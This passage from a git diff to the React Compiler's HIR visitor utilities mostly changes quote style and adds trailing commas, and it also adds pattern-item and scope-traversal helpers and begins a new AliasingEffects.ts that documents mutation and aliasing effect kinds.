 ): Iterable<Place> {
   for (const arg of args) {
-    if (arg.kind === "Identifier") {
+    if (arg.kind === 'Identifier') {
       yield arg;
     } else {
       yield arg.place;
@@ -272,17 +303,17 @@ export function* eachCallArgument(
 
 export function doesPatternContainSpreadElement(pattern: Pattern): boolean {
   switch (pattern.kind) {
-    case "ArrayPattern": {
+    case 'ArrayPattern': {
       for (const item of pattern.items) {
-        if (item.kind === "Spread") {
+        if (item.kind === 'Spread') {
           return true;
         }
       }
       break;
     }
-    case "ObjectPattern": {
+    case 'ObjectPattern': {
       for (const property of pattern.properties) {
-        if (property.kind === "Spread") {
+        if (property.kind === 'Spread') {
           return true;
         }
       }
@@ -291,7 +322,7 @@ export function doesPatternContainSpreadElement(pattern: Pattern): boolean {
     default: {
       assertExhaustive(
         pattern,
-        `Unexpected pattern kind \`${(pattern as any).kind}\``
+        `Unexpected pattern kind \`${(pattern as any).kind}\``,
       );
     }
   }
@@ -300,33 +331,33 @@ export function doesPatternContainSpreadElement(pattern: Pattern): boolean {
 
 export function* eachPatternOperand(pattern: Pattern): Iterable<Place> {
   switch (pattern.kind) {
-    case "ArrayPattern": {
+    case 'ArrayPattern': {
       for (const item of pattern.items) {
-        if (item.kind === "Identifier") {
+        if (item.kind === 'Identifier') {
           yield item;
-        } else if (item.kind === "Spread") {
+        } else if (item.kind === 'Spread') {
           yield item.place;
-        } else if (item.kind === "Hole") {
+        } else if (item.kind === 'Hole') {
           continue;
         } else {
           assertExhaustive(
             item,
-            `Unexpected item kind \`${(item as any).kind}\``
+            `Unexpected item kind \`${(item as any).kind}\``,
           );
         }
       }
       break;
     }
-    case "ObjectPattern": {
+    case 'ObjectPattern': {
       for (const property of pattern.properties) {
-        if (property.kind === "ObjectProperty") {
+        if (property.kind === 'ObjectProperty') {
           yield property.place;
-        } else if (property.kind === "Spread") {
+        } else if (property.kind === 'Spread') {
           yield property.place;
         } else {
           assertExhaustive(
             property,
-            `Unexpected item kind \`${(property as any).kind}\``
+            `Unexpected item kind \`${(property as any).kind}\``,
           );
         }
       }
@@ -335,7 +366,52 @@ export function* eachPatternOperand(pattern: Pattern): Iterable<Place> {
     default: {
       assertExhaustive(
         pattern,
-        `Unexpected pattern kind \`${(pattern as any).kind}\``
+        `Unexpected pattern kind \`${(pattern as any).kind}\``,
+      );
+    }
+  }
+}
+
+export function* eachPatternItem(
+  pattern: Pattern,
+): Iterable<Place | SpreadPattern> {
+  switch (pattern.kind) {
+    case 'ArrayPattern': {
+      for (const item of pattern.items) {
+        if (item.kind === 'Identifier') {
+          yield item;
+        } else if (item.kind === 'Spread') {
+          yield item;
+        } else if (item.kind === 'Hole') {
+          continue;
+        } else {
+          assertExhaustive(
+            item,
+            `Unexpected item kind \`${(item as any).kind}\``,
+          );
+        }
+      }
+      break;
+    }
+    case 'ObjectPattern': {
+      for (const property of pattern.properties) {
+        if (property.kind === 'ObjectProperty') {
+          yield property.place;
+        } else if (property.kind === 'Spread') {
+          yield property;
+        } else {
+          assertExhaustive(
+            property,
+            `Unexpected item kind \`${(property as any).kind}\``,
+          );
+        }
+      }
+      break;
+    }
+    default: {
+      assertExhaustive(
+        pattern,
+        `Unexpected pattern kind \`${(pattern as any).kind}\``,
       );
     }
   }
@@ -343,21 +419,21 @@ export function* eachPatternOperand(pattern: Pattern): Iterable<Place> {
 
 export function mapInstructionLValues(
   instr: Instruction,
-  fn: (place: Place) => Place
+  fn: (place: Place) => Place,
 ): void {
   switch (instr.value.kind) {
-    case "DeclareLocal":
-    case "StoreLocal": {
+    case 'DeclareLocal':
+    case 'StoreLocal': {
       const lvalue = instr.value.lvalue;
       lvalue.place = fn(lvalue.place);
       break;
     }
-    case "Destructure": {
+    case 'Destructure': {
       mapPatternOperands(instr.value.lvalue.pattern, fn);
       break;
     }
-    case "PostfixUpdate":
-    case "PrefixUpdate": {
+    case 'PostfixUpdate':
+    case 'PrefixUpdate': {
       instr.value.lvalue = fn(instr.value.lvalue);
       break;
     }
@@ -369,124 +445,124 @@ export function mapInstructionLValues(
 
 export function mapInstructionOperands(
   instr: Instruction,
-  fn: (place: Place) => Place
+  fn: (place: Place) => Place,
 ): void {
   mapInstructionValueOperands(instr.value, fn);
 }
 
 export function mapInstructionValueOperands(
   instrValue: InstructionValue,
-  fn: (place: Place) => Place
+  fn: (place: Place) => Place,
 ): void {
   switch (instrValue.kind) {
-    case "BinaryExpression": {
+    case 'BinaryExpression': {
       instrValue.left = fn(instrValue.left);
       instrValue.right = fn(instrValue.right);
       break;
     }
-    case "PropertyLoad": {
+    case 'PropertyLoad': {
       instrValue.object = fn(instrValue.object);
       break;
     }
-    case "PropertyDelete": {
+    case 'PropertyDelete': {
       instrValue.object = fn(instrValue.object);
       break;
     }
-    case "PropertyStore": {
+    case 'PropertyStore': {
       instrValue.object = fn(instrValue.object);
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "ComputedLoad": {
+    case 'ComputedLoad': {
       instrValue.object = fn(instrValue.object);
       instrValue.property = fn(instrValue.property);
       break;
     }
-    case "ComputedDelete": {
+    case 'ComputedDelete': {
       instrValue.object = fn(instrValue.object);
       instrValue.property = fn(instrValue.property);
       break;
     }
-    case "ComputedStore": {
+    case 'ComputedStore': {
       instrValue.object = fn(instrValue.object);
       instrValue.property = fn(instrValue.property);
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "DeclareContext":
-    case "DeclareLocal": {
+    case 'DeclareContext':
+    case 'DeclareLocal': {
       break;
     }
-    case "LoadLocal":
-    case "LoadContext": {
+    case 'LoadLocal':
+    case 'LoadContext': {
       instrValue.place = fn(instrValue.place);
       break;
     }
-    case "StoreLocal": {
+    case 'StoreLocal': {
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "StoreContext": {
+    case 'StoreContext': {
       instrValue.lvalue.place = fn(instrValue.lvalue.place);
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "StoreGlobal": {
+    case 'StoreGlobal': {
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "Destructure": {
+    case 'Destructure': {
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "NewExpression":
-    case "CallExpression": {
+    case 'NewExpression':
+    case 'CallExpression': {
       instrValue.callee = fn(instrValue.callee);
       instrValue.args = mapCallArguments(instrValue.args, fn);
       break;
     }
-    case "MethodCall": {
+    case 'MethodCall': {
       instrValue.receiver = fn(instrValue.receiver);
       instrValue.property = fn(instrValue.property);
       instrValue.args = mapCallArguments(instrValue.args, fn);
       break;
     }
-    case "UnaryExpression": {
+    case 'UnaryExpression': {
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "JsxExpression": {
-      if (instrValue.tag.kind === "Identifier") {
+    case 'JsxExpression': {
+      if (instrValue.tag.kind === 'Identifier') {
         instrValue.tag = fn(instrValue.tag);
       }
       for (const attribute of instrValue.props) {
         switch (attribute.kind) {
-          case "JsxAttribute": {
+          case 'JsxAttribute': {
             attribute.place = fn(attribute.place);
             break;
           }
-          case "JsxSpreadAttribute": {
+          case 'JsxSpreadAttribute': {
             attribute.argument = fn(attribute.argument);
             break;
           }
           default: {
             assertExhaustive(
               attribute,
-              `Unexpected attribute kind \`${(attribute as any).kind}\``
+              `Unexpected attribute kind \`${(attribute as any).kind}\``,
             );
           }
         }
       }
       if (instrValue.children) {
-        instrValue.children = instrValue.children.map((p) => fn(p));
+        instrValue.children = instrValue.children.map(p => fn(p));
       }
       break;
     }
-    case "ObjectExpression": {
+    case 'ObjectExpression': {
       for (const property of instrValue.properties) {
         if (
-          property.kind === "ObjectProperty" &&
-          property.key.kind === "computed"
+          property.kind === 'ObjectProperty' &&
+          property.key.kind === 'computed'
         ) {
           property.key.name = fn(property.key.name);
         }
@@ -494,11 +570,11 @@ export function mapInstructionValueOperands(
       }
       break;
     }
-    case "ArrayExpression": {
-      instrValue.elements = instrValue.elements.map((element) => {
-        if (element.kind === "Identifier") {
+    case 'ArrayExpression': {
+      instrValue.elements = instrValue.elements.map(element => {
+        if (element.kind === 'Identifier') {
           return fn(element);
-        } else if (element.kind === "Spread") {
+        } else if (element.kind === 'Spread') {
           element.place = fn(element.place);
           return element;
         } else {
@@ -507,85 +583,86 @@ export function mapInstructionValueOperands(
       });
       break;
     }
-    case "JsxFragment": {
-      instrValue.children = instrValue.children.map((e) => fn(e));
+    case 'JsxFragment': {
+      instrValue.children = instrValue.children.map(e => fn(e));
       break;
     }
-    case "ObjectMethod":
-    case "FunctionExpression": {
-      instrValue.loweredFunc.dependencies =
-        instrValue.loweredFunc.dependencies.map((d) => fn(d));
+    case 'ObjectMethod':
+    case 'FunctionExpression': {
+      instrValue.loweredFunc.func.context =
+        instrValue.loweredFunc.func.context.map(d => fn(d));
+
       break;
     }
-    case "TaggedTemplateExpression": {
+    case 'TaggedTemplateExpression': {
       instrValue.tag = fn(instrValue.tag);
       break;
     }
-    case "TypeCastExpression": {
+    case 'TypeCastExpression': {
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "TemplateLiteral": {
+    case 'TemplateLiteral': {
       instrValue.subexprs = instrValue.subexprs.map(fn);
       break;
     }
-    case "Await": {
+    case 'Await': {
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "GetIterator": {
+    case 'GetIterator': {
       instrValue.collection = fn(instrValue.collection);
       break;
     }
-    case "IteratorNext": {
+    case 'IteratorNext': {
       instrValue.iterator = fn(instrValue.iterator);
       instrValue.collection = fn(instrValue.collection);
       break;
     }
-    case "NextPropertyOf": {
+    case 'NextPropertyOf': {
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "PostfixUpdate":
-    case "PrefixUpdate": {
+    case 'PostfixUpdate':
+    case 'PrefixUpdate': {
       instrValue.value = fn(instrValue.value);
       break;
     }
-    case "StartMemoize": {
+    case 'StartMemoize': {
       if (instrValue.deps != null) {
         for (const dep of instrValue.deps) {
-          if (dep.root.kind === "NamedLocal") {
+          if (dep.root.kind === 'NamedLocal') {
             dep.root.value = fn(dep.root.value);
           }
         }
       }
       break;
     }
-    case "FinishMemoize": {
+    case 'FinishMemoize': {
       instrValue.decl = fn(instrValue.decl);
       break;
     }
-    case "Debugger":
-    case "RegExpLiteral":
-    case "MetaProperty":
-    case "LoadGlobal":
-    case "UnsupportedNode":
-    case "Primitive":
-    case "JSXText": {
+    case 'Debugger':
+    case 'RegExpLiteral':
+    case 'MetaProperty':
+    case 'LoadGlobal':
+    case 'UnsupportedNode':
+    case 'Primitive':
+    case 'JSXText': {
       break;
     }
     default: {
-      assertExhaustive(instrValue, "Unexpected instruction kind");
+      assertExhaustive(instrValue, 'Unexpected instruction kind');
     }
   }
 }
 
 export function mapCallArguments(
   args: Array<Place | SpreadPattern>,
-  fn: (place: Place) => Place
+  fn: (place: Place) => Place,
 ): Array<Place | SpreadPattern> {
-  return args.map((arg) => {
-    if (arg.kind === "Identifier") {
+  return args.map(arg => {
+    if (arg.kind === 'Identifier') {
       return fn(arg);
     } else {
       arg.place = fn(arg.place);
@@ -596,14 +673,14 @@ export function mapCallArguments(
 
 export function mapPatternOperands(
   pattern: Pattern,
-  fn: (place: Place) => Place
+  fn: (place: Place) => Place,
 ): void {
   switch (pattern.kind) {
-    case "ArrayPattern": {
-      pattern.items = pattern.items.map((item) => {
-        if (item.kind === "Identifier") {
+    case 'ArrayPattern': {
+      pattern.items = pattern.items.map(item => {
+        if (item.kind === 'Identifier') {
           return fn(item);
-        } else if (item.kind === "Spread") {
+        } else if (item.kind === 'Spread') {
           item.place = fn(item.place);
           return item;
         } else {
@@ -612,7 +689,7 @@ export function mapPatternOperands(
       });
       break;
     }
-    case "ObjectPattern": {
+    case 'ObjectPattern': {
       for (const property of pattern.properties) {
         property.place = fn(property.place);
       }
@@ -621,7 +698,7 @@ export function mapPatternOperands(
     default: {
       assertExhaustive(
         pattern,
-        `Unexpected pattern kind \`${(pattern as any).kind}\``
+        `Unexpected pattern kind \`${(pattern as any).kind}\``,
       );
     }
   }
@@ -630,25 +707,25 @@ export function mapPatternOperands(
 // Maps a terminal node's block assignments using the provided function.
 export function mapTerminalSuccessors(
   terminal: Terminal,
-  fn: (block: BlockId) => BlockId
+  fn: (block: BlockId) => BlockId,
 ): Terminal {
   switch (terminal.kind) {
-    case "goto": {
+    case 'goto': {
       const target = fn(terminal.block);
       return {
-        kind: "goto",
+        kind: 'goto',
         block: target,
         variant: terminal.variant,
         id: makeInstructionId(0),
         loc: terminal.loc,
       };
     }
-    case "if": {
+    case 'if': {
       const consequent = fn(terminal.consequent);
       const alternate = fn(terminal.alternate);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "if",
+        kind: 'if',
         test: terminal.test,
         consequent,
         alternate,
@@ -657,20 +734,22 @@ export function mapTerminalSuccessors(
         loc: terminal.loc,
       };
     }
-    case "branch": {
+    case 'branch': {
       const consequent = fn(terminal.consequent);
       const alternate = fn(terminal.alternate);
+      const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "branch",
+        kind: 'branch',
         test: terminal.test,
         consequent,
         alternate,
+        fallthrough,
         id: makeInstructionId(0),
         loc: terminal.loc,
       };
     }
-    case "switch": {
-      const cases = terminal.cases.map((case_) => {
+    case 'switch': {
+      const cases = terminal.cases.map(case_ => {
         const target = fn(case_.block);
         return {
           test: case_.test,
@@ -679,7 +758,7 @@ export function mapTerminalSuccessors(
       });
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "switch",
+        kind: 'switch',
         test: terminal.test,
         cases,
         fallthrough,
@@ -687,11 +766,11 @@ export function mapTerminalSuccessors(
         loc: terminal.loc,
       };
     }
-    case "logical": {
+    case 'logical': {
       const test = fn(terminal.test);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "logical",
+        kind: 'logical',
         test,
         fallthrough,
         operator: terminal.operator,
@@ -699,22 +778,22 @@ export function mapTerminalSuccessors(
         loc: terminal.loc,
       };
     }
-    case "ternary": {
+    case 'ternary': {
       const test = fn(terminal.test);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "ternary",
+        kind: 'ternary',
         test,
         fallthrough,
         id: makeInstructionId(0),
         loc: terminal.loc,
       };
     }
-    case "optional": {
+    case 'optional': {
       const test = fn(terminal.test);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "optional",
+        kind: 'optional',
         optional: terminal.optional,
         test,
         fallthrough,
@@ -722,23 +801,25 @@ export function mapTerminalSuccessors(
         loc: terminal.loc,
       };
     }
-    case "return": {
+    case 'return': {
       return {
-        kind: "return",
+        kind: 'return',
+        returnVariant: terminal.returnVariant,
         loc: terminal.loc,
         value: terminal.value,
         id: makeInstructionId(0),
+        effects: terminal.effects,
       };
     }
-    case "throw": {
+    case 'throw': {
       return terminal;
     }
-    case "do-while": {
+    case 'do-while': {
       const loop = fn(terminal.loop);
       const test = fn(terminal.test);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "do-while",
+        kind: 'do-while',
         loc: terminal.loc,
         test,
         loop,
@@ -746,12 +827,12 @@ export function mapTerminalSuccessors(
         id: makeInstructionId(0),
       };
     }
-    case "while": {
+    case 'while': {
       const test = fn(terminal.test);
       const loop = fn(terminal.loop);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "while",
+        kind: 'while',
         loc: terminal.loc,
         test,
         loop,
@@ -759,14 +840,14 @@ export function mapTerminalSuccessors(
         id: makeInstructionId(0),
       };
     }
-    case "for": {
+    case 'for': {
       const init = fn(terminal.init);
       const test = fn(terminal.test);
       const update = terminal.update !== null ? fn(terminal.update) : null;
       const loop = fn(terminal.loop);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "for",
+        kind: 'for',
         loc: terminal.loc,
         init,
         test,
@@ -776,13 +857,13 @@ export function mapTerminalSuccessors(
         id: makeInstructionId(0),
       };
     }
-    case "for-of": {
+    case 'for-of': {
       const init = fn(terminal.init);
       const loop = fn(terminal.loop);
       const test = fn(terminal.test);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "for-of",
+        kind: 'for-of',
         loc: terminal.loc,
         init,
         test,
@@ -791,12 +872,12 @@ export function mapTerminalSuccessors(
         id: makeInstructionId(0),
       };
     }
-    case "for-in": {
+    case 'for-in': {
       const init = fn(terminal.init);
       const loop = fn(terminal.loop);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "for-in",
+        kind: 'for-in',
         loc: terminal.loc,
         init,
         loop,
@@ -804,45 +885,46 @@ export function mapTerminalSuccessors(
         id: makeInstructionId(0),
       };
     }
-    case "label": {
+    case 'label': {
       const block = fn(terminal.block);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "label",
+        kind: 'label',
         block,
         fallthrough,
         id: makeInstructionId(0),
         loc: terminal.loc,
       };
     }
-    case "sequence": {
+    case 'sequence': {
       const block = fn(terminal.block);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "sequence",
+        kind: 'sequence',
         block,
         fallthrough,
         id: makeInstructionId(0),
         loc: terminal.loc,
       };
     }
-    case "maybe-throw": {
+    case 'maybe-throw': {
       const continuation = fn(terminal.continuation);
-      const handler = fn(terminal.handler);
+      const handler = terminal.handler !== null ? fn(terminal.handler) : null;
       return {
-        kind: "maybe-throw",
+        kind: 'maybe-throw',
         continuation,
         handler,
         id: makeInstructionId(0),
         loc: terminal.loc,
+        effects: terminal.effects,
       };
     }
-    case "try": {
+    case 'try': {
       const block = fn(terminal.block);
       const handler = fn(terminal.handler);
       const fallthrough = fn(terminal.fallthrough);
       return {
-        kind: "try",
+        kind: 'try',
         block,
         handlerBinding: terminal.handlerBinding,
         handler,
@@ -851,8 +933,8 @@ export function mapTerminalSuccessors(
         loc: terminal.loc,
       };
     }
-    case "scope":
-    case "pruned-scope": {
+    case 'scope':
+    case 'pruned-scope': {
       const block = fn(terminal.block);
       const fallthrough = fn(terminal.fallthrough);
       return {
@@ -864,14 +946,14 @@ export function mapTerminalSuccessors(
         loc: terminal.loc,
       };
     }
-    case "unreachable":
-    case "unsupported": {
+    case 'unreachable':
+    case 'unsupported': {
       return terminal;
     }
     default: {
       assertExhaustive(
         terminal,
-        `Unexpected terminal kind \`${(terminal as any as Terminal).kind}\``
+        `Unexpected terminal kind \`${(terminal as any as Terminal).kind}\``,
       );
     }
   }
@@ -879,41 +961,41 @@ export function mapTerminalSuccessors(
 
 export function terminalHasFallthrough<
   T extends Terminal,
-  U extends T & { fallthrough: BlockId },
+  U extends T & {fallthrough: BlockId},
 >(terminal: T): terminal is U {
   switch (terminal.kind) {
-    case "maybe-throw":
-    case "branch":
-    case "goto":
-    case "return":
-    case "throw":
-    case "unreachable":
-    case "unsupported": {
+    case 'maybe-throw':
+    case 'goto':
+    case 'return':
+    case 'throw':
+    case 'unreachable':
+    case 'unsupported': {
       const _: undefined = terminal.fallthrough;
       return false;
     }
-    case "try":
-    case "do-while":
-    case "for-of":
-    case "for-in":
-    case "for":
-    case "if":
-    case "label":
-    case "logical":
-    case "optional":
-    case "sequence":
-    case "switch":
-    case "ternary":
-    case "while":
-    case "scope":
-    case "pruned-scope": {
+    case 'branch':
+    case 'try':
+    case 'do-while':
+    case 'for-of':
+    case 'for-in':
+    case 'for':
+    case 'if':
+    case 'label':
+    case 'logical':
+    case 'optional':
+    case 'sequence':
+    case 'switch':
+    case 'ternary':
+    case 'while':
+    case 'scope':
+    case 'pruned-scope': {
       const _: BlockId = terminal.fallthrough;
       return true;
     }
     default: {
       assertExhaustive(
         terminal,
-        `Unexpected terminal kind \`${(terminal as any).kind}\``
+        `Unexpected terminal kind \`${(terminal as any).kind}\``,
       );
     }
   }
@@ -939,87 +1021,89 @@ export function terminalFallthrough(terminal: Terminal): BlockId | null {
  */
 export function* eachTerminalSuccessor(terminal: Terminal): Iterable<BlockId> {
   switch (terminal.kind) {
-    case "goto": {
+    case 'goto': {
       yield terminal.block;
       break;
     }
-    case "if": {
+    case 'if': {
       yield terminal.consequent;
       yield terminal.alternate;
       break;
     }
-    case "branch": {
+    case 'branch': {
       yield terminal.consequent;
       yield terminal.alternate;
       break;
     }
-    case "switch": {
+    case 'switch': {
       for (const case_ of terminal.cases) {
         yield case_.block;
       }
       break;
     }
-    case "optional":
-    case "ternary":
-    case "logical": {
+    case 'optional':
+    case 'ternary':
+    case 'logical': {
       yield terminal.test;
       break;
     }
-    case "return": {
+    case 'return': {
       break;
     }
-    case "throw": {
+    case 'throw': {
       break;
     }
-    case "do-while": {
+    case 'do-while': {
       yield terminal.loop;
       break;
     }
-    case "while": {
+    case 'while': {
       yield terminal.test;
       break;
     }
-    case "for": {
+    case 'for': {
       yield terminal.init;
       break;
     }
-    case "for-of": {
+    case 'for-of': {
       yield terminal.init;
       break;
     }
-    case "for-in": {
+    case 'for-in': {
       yield terminal.init;
       break;
     }
-    case "label": {
+    case 'label': {
       yield terminal.block;
       break;
     }
-    case "sequence": {
+    case 'sequence': {
       yield terminal.block;
       break;
     }
-    case "maybe-throw": {
+    case 'maybe-throw': {
       yield terminal.continuation;
-      yield terminal.handler;
+      if (terminal.handler !== null) {
+        yield terminal.handler;
+      }
       break;
     }
-    case "try": {
+    case 'try': {
       yield terminal.block;
       break;
     }
-    case "scope":
-    case "pruned-scope": {
+    case 'scope':
+    case 'pruned-scope': {
       yield terminal.block;
       break;
     }
-    case "unreachable":
-    case "unsupported":
+    case 'unreachable':
+    case 'unsupported':
       break;
     default: {
       assertExhaustive(
         terminal,
-        `Unexpected terminal kind \`${(terminal as any as Terminal).kind}\``
+        `Unexpected terminal kind \`${(terminal as any as Terminal).kind}\``,
       );
     }
   }
@@ -1027,18 +1111,18 @@ export function* eachTerminalSuccessor(terminal: Terminal): Iterable<BlockId> {
 
 export function mapTerminalOperands(
   terminal: Terminal,
-  fn: (place: Place) => Place
+  fn: (place: Place) => Place,
 ): void {
   switch (terminal.kind) {
-    case "if": {
+    case 'if': {
       terminal.test = fn(terminal.test);
       break;
     }
-    case "branch": {
+    case 'branch': {
       terminal.test = fn(terminal.test);
       break;
     }
-    case "switch": {
+    case 'switch': {
       terminal.test = fn(terminal.test);
       for (const case_ of terminal.cases) {
         if (case_.test === null) {
@@ -1048,12 +1132,12 @@ export function mapTerminalOperands(
       }
       break;
     }
-    case "return":
-    case "throw": {
+    case 'return':
+    case 'throw': {
       terminal.value = fn(terminal.value);
       break;
     }
-    case "try": {
+    case 'try': {
       if (terminal.handlerBinding !== null) {
         terminal.handlerBinding = fn(terminal.handlerBinding);
       } else {
@@ -1061,29 +1145,29 @@ export function mapTerminalOperands(
       }
       break;
     }
-    case "maybe-throw":
-    case "sequence":
-    case "label":
-    case "optional":
-    case "ternary":
-    case "logical":
-    case "do-while":
-    case "while":
-    case "for":
-    case "for-of":
-    case "for-in":
-    case "goto":
-    case "unreachable":
-    case "unsupported":
-    case "scope":
-    case "pruned-scope": {
+    case 'maybe-throw':
+    case 'sequence':
+    case 'label':
+    case 'optional':
+    case 'ternary':
+    case 'logical':
+    case 'do-while':
+    case 'while':
+    case 'for':
+    case 'for-of':
+    case 'for-in':
+    case 'goto':
+    case 'unreachable':
+    case 'unsupported':
+    case 'scope':
+    case 'pruned-scope': {
       // no-op
       break;
     }
     default: {
       assertExhaustive(
         terminal,
-        `Unexpected terminal kind \`${(terminal as any).kind}\``
+        `Unexpected terminal kind \`${(terminal as any).kind}\``,
       );
     }
   }
@@ -1091,15 +1175,15 @@ export function mapTerminalOperands(
 
 export function* eachTerminalOperand(terminal: Terminal): Iterable<Place> {
   switch (terminal.kind) {
-    case "if": {
+    case 'if': {
       yield terminal.test;
       break;
     }
-    case "branch": {
+    case 'branch': {
       yield terminal.test;
       break;
     }
-    case "switch": {
+    case 'switch': {
       yield terminal.test;
       for (const case_ of terminal.cases) {
         if (case_.test === null) {
@@ -1109,41 +1193,118 @@ export function* eachTerminalOperand(terminal: Terminal): Iterable<Place> {
       }
       break;
     }
-    case "return":
-    case "throw": {
+    case 'return':
+    case 'throw': {
       yield terminal.value;
       break;
     }
-    case "try": {
+    case 'try': {
       if (terminal.handlerBinding !== null) {
         yield terminal.handlerBinding;
       }
       break;
     }
-    case "maybe-throw":
-    case "sequence":
-    case "label":
-    case "optional":
-    case "ternary":
-    case "logical":
-    case "do-while":
-    case "while":
-    case "for":
-    case "for-of":
-    case "for-in":
-    case "goto":
-    case "unreachable":
-    case "unsupported":
-    case "scope":
-    case "pruned-scope": {
+    case 'maybe-throw':
+    case 'sequence':
+    case 'label':
+    case 'optional':
+    case 'ternary':
+    case 'logical':
+    case 'do-while':
+    case 'while':
+    case 'for':
+    case 'for-of':
+    case 'for-in':
+    case 'goto':
+    case 'unreachable':
+    case 'unsupported':
+    case 'scope':
+    case 'pruned-scope': {
       // no-op
       break;
     }
     default: {
       assertExhaustive(
         terminal,
-        `Unexpected terminal kind \`${(terminal as any).kind}\``
+        `Unexpected terminal kind \`${(terminal as any).kind}\``,
+      );
+    }
+  }
+}
+
+/**
+ * Helper class for traversing scope blocks in HIR-form.
+ */
+export class ScopeBlockTraversal {
+  // Live stack of active scopes
+  #activeScopes: Array<ScopeId> = [];
+  blockInfos: Map<
+    BlockId,
+    | {
+        kind: 'end';
+        scope: ReactiveScope;
+        pruned: boolean;
+      }
+    | {
+        kind: 'begin';
+        scope: ReactiveScope;
+        pruned: boolean;
+        fallthrough: BlockId;
+      }
+  > = new Map();
+
+  recordScopes(block: BasicBlock): void {
+    const blockInfo = this.blockInfos.get(block.id);
+    if (blockInfo?.kind === 'begin') {
+      this.#activeScopes.push(blockInfo.scope.id);
+    } else if (blockInfo?.kind === 'end') {
+      const top = this.#activeScopes.at(-1);
+      CompilerError.invariant(blockInfo.scope.id === top, {
+        reason:
+          'Expected traversed block fallthrough to match top-most active scope',
+        loc: block.instructions[0]?.loc ?? block.terminal.loc,
+      });
+      this.#activeScopes.pop();
+    }
+
+    if (
+      block.terminal.kind === 'scope' ||
+      block.terminal.kind === 'pruned-scope'
+    ) {
+      CompilerError.invariant(
+        !this.blockInfos.has(block.terminal.block) &&
+          !this.blockInfos.has(block.terminal.fallthrough),
+        {
+          reason: 'Expected unique scope blocks and fallthroughs',
+          loc: block.terminal.loc,
+        },
       );
+      this.blockInfos.set(block.terminal.block, {
+        kind: 'begin',
+        scope: block.terminal.scope,
+        pruned: block.terminal.kind === 'pruned-scope',
+        fallthrough: block.terminal.fallthrough,
+      });
+      this.blockInfos.set(block.terminal.fallthrough, {
+        kind: 'end',
+        scope: block.terminal.scope,
+        pruned: block.terminal.kind === 'pruned-scope',
+      });
     }
   }
+
+  /**
+   * @returns if the given scope is currently 'active', i.e. if the scope start
+   * block but not the scope fallthrough has been recorded.
+   */
+  isScopeActive(scopeId: ScopeId): boolean {
+    return this.#activeScopes.indexOf(scopeId) !== -1;
+  }
+
+  /**
+   * The current, innermost active scope.
+   */
+  get currentScope(): ScopeId | null {
+    return this.#activeScopes.at(-1) ?? null;
+  }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/AliasingEffects.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/AliasingEffects.ts
new file mode 100644
index 000000000000..7f30e25a5c06
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/AliasingEffects.ts
@@ -0,0 +1,264 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerDiagnostic} from '../CompilerError';
+import {
+  FunctionExpression,
+  GeneratedSource,
+  Hole,
+  IdentifierId,
+  ObjectMethod,
+  Place,
+  SourceLocation,
+  SpreadPattern,
+  ValueKind,
+  ValueReason,
+} from '../HIR';
+import {FunctionSignature} from '../HIR/ObjectShape';
+import {printSourceLocation} from '../HIR/PrintHIR';
+
+/**
+ * `AliasingEffect` describes a set of "effects" that an instruction/terminal has on one or
+ * more values in a program. These effects include mutation of values, freezing values,
+ * tracking data flow between values, and other specialized cases.
+ */
+export type AliasingEffect =
+  /**
+   * Marks the given value and its direct aliases as frozen.
+   *
+   * Captured values are *not* considered frozen, because we cannot be sure that a previously
+   * captured value will still be captured at the point of the freeze.
+   *
+   * For example:
+   * const x = {};
+   * const y = [x];
+   * y.pop(); // y dosn't contain x anymore!
+   * freeze(y);
+   * mutate(x); // safe to mutate!
+   *
+   * The exception to this is FunctionExpressions - since it is impossible to change which
+   * value a function closes over[1] we can transitively freeze functions and their captures.
+   *
+   * [1] Except for `let` values that are reassigned and closed over by a function, but we
+   * handle this explicitly with StoreContext/LoadContext.
+   */
+  | {kind: 'Freeze'; value: Place; reason: ValueReason}
+  /**
+   * Mutate the value and any direct aliases (not captures). Errors if the value is not mutable.
+   */
+  | {kind: 'Mutate'; value: Place; reason?: MutationReason | null}
+  /**
+   * Mutate the value and any direct aliases (not captures), but only if the value is known mutable.
+   * This should be rare.
+   *
+   * TODO: this is only used for IteratorNext, but even then MutateTransitiveConditionally is more
+   * correct for iterators of unknown types.
+   */
+  | {kind: 'MutateConditionally'; value: Place}
+  /**
+   * Mutate the value, any direct aliases, and any transitive captures. Errors if the value is not mutable.
+   */
+  | {kind: 'MutateTransitive'; value: Place}
+  /**
+   * Mutates any of the value, its direct aliases, and its transitive captures that are mutable.
+   */
+  | {kind: 'MutateTransitiveConditionally'; value: Place}
+  /**
+   * Records information flow from `from` to `into` in cases where local mutation of the destination
+   * will *not* mutate the source:
+   *
+   * - Capture a -> b and Mutate(b) X=> (does not imply) Mutate(a)
+   * - Capture a -> b and MutateTransitive(b) => (does imply) Mutate(a)
+   *
+   * Example: `array.push(item)`. Information from item is captured into array, but there is not a
+   * direct aliasing, and local mutations of array will not modify item.
+   */
+  | {kind: 'Capture'; from: Place; into: Place}
+  /**
